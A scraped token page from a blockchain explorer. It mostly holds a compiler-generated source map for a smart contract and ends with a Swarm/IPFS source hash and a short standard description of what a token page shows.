;5010:34;;5075:2;5060:18;;5053:34;;;;5118:2;5103:18;;5096:34;;;;5161:2;5146:18;;5139:34;;;;5210:15;;;5204:3;5189:19;;5182:44;4990:3;5242:19;;5235:35;;;;4959:3;4944:19;;4669:607::o;5281:306::-;5369:6;5377;5385;5438:2;5426:9;5417:7;5413:23;5409:32;5406:52;;;5454:1;5451;5444:12;5406:52;5483:9;5477:16;5467:26;;5533:2;5522:9;5518:18;5512:25;5502:35;;5577:2;5566:9;5562:18;5556:25;5546:35;;5281:306;;;;;:::o;5592:127::-;5653:10;5648:3;5644:20;5641:1;5634:31;5684:4;5681:1;5674:15;5708:4;5705:1;5698:15;5724:422;5813:1;5856:5;5813:1;5870:270;5891:7;5881:8;5878:21;5870:270;;;5950:4;5946:1;5942:6;5938:17;5932:4;5929:27;5926:53;;;5959:18;;:::i;:::-;6009:7;5999:8;5995:22;5992:55;;;6029:16;;;;5992:55;6108:22;;;;6068:15;;;;5870:270;;;5874:3;5724:422;;;;;:::o;6151:806::-;6200:5;6230:8;6220:80;;-1:-1:-1;6271:1:1;6285:5;;6220:80;6319:4;6309:76;;-1:-1:-1;6356:1:1;6370:5;;6309:76;6401:4;6419:1;6414:59;;;;6487:1;6482:130;;;;6394:218;;6414:59;6444:1;6435:10;;6458:5;;;6482:130;6519:3;6509:8;6506:17;6503:43;;;6526:18;;:::i;:::-;-1:-1:-1;;6582:1:1;6568:16;;6597:5;;6394:218;;6696:2;6686:8;6683:16;6677:3;6671:4;6668:13;6664:36;6658:2;6648:8;6645:16;6640:2;6634:4;6631:12;6627:35;6624:77;6621:159;;;-1:-1:-1;6733:19:1;;;6765:5;;6621:159;6812:34;6837:8;6831:4;6812:34;:::i;:::-;6882:6;6878:1;6874:6;6870:19;6861:7;6858:32;6855:58;;;6893:18;;:::i;:::-;6931:20;;6151:806;-1:-1:-1;;;6151:806:1:o;6962:140::-;7020:5;7049:47;7090:4;7080:8;7076:19;7070:4;7049:47;:::i;7107:168::-;7147:7;7213:1;7209;7205:6;7201:14;7198:1;7195:21;7190:1;7183:9;7176:17;7172:45;7169:71;;;7220:18;;:::i;:::-;-1:-1:-1;7260:9:1;;7107:168::o;7687:125::-;7752:9;;;7773:10;;;7770:36;;;7786:18;;:::i;8173:217::-;8213:1;8239;8229:132;;8283:10;8278:3;8274:20;8271:1;8264:31;8318:4;8315:1;8308:15;8346:4;8343:1;8336:15;8229:132;-1:-1:-1;8375:9:1;;8173:217::o;11234:128::-;11301:9;;;11322:11;;;11319:37;;;11336:18;;:::i;11367:184::-;11437:6;11490:2;11478:9;11469:7;11465:23;11461:32;11458:52;;;11506:1;11503;11496:12;11458:52;-1:-1:-1;11529:16:1;;11367:184;-1:-1:-1;11367:184:1:o;11688:127::-;11749:10;11744:3;11740:20;11737:1;11730:31;11780:4;11777:1;11770:15;11804:4;11801:1;11794:15;11820:461;11873:3;11911:5;11905:12;11938:6;11933:3;11926:19;11964:4;11993:2;11988:3;11984:12;11977:19;;12030:2;12023:5;12019:14;12051:1;12061:195;12075:6;12072:1;12069:13;12061:195;;;12140:13;;-1:-1:-1;;;;;12136:39:1;12124:52;;12196:12;;;;12231:15;;;;12172:1;12090:9;12061:195;;;-1:-1:-1;12272:3:1;;11820:461;-1:-1:-1;;;;;11820:461:1:o;12286:582::-;12585:6;12574:9;12567:25;12628:6;12623:2;12612:9;12608:18;12601:34;12671:3;12666:2;12655:9;12651:18;12644:31;12548:4;12692:57;12744:3;12733:9;12729:19;12721:6;12692:57;:::i;:::-;-1:-1:-1;;;;;12785:32:1;;;;12780:2;12765:18;;12758:60;-1:-1:-1;12849:3:1;12834:19;12827:35;12684:65;12286:582;-1:-1:-1;;;12286:582:1:o;12873:332::-;13080:6;13069:9;13062:25;13123:2;13118;13107:9;13103:18;13096:30;13043:4;13143:56;13195:2;13184:9;13180:18;13172:6;13143:56;:::i;:::-;13135:64;12873:332;-1:-1:-1;;;;12873:332:1:o

Swarm Source

ipfs://f229826ec74ac64a7ce5c19520a4bde2be1e5cf7866c076e3a70d7058f263892
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.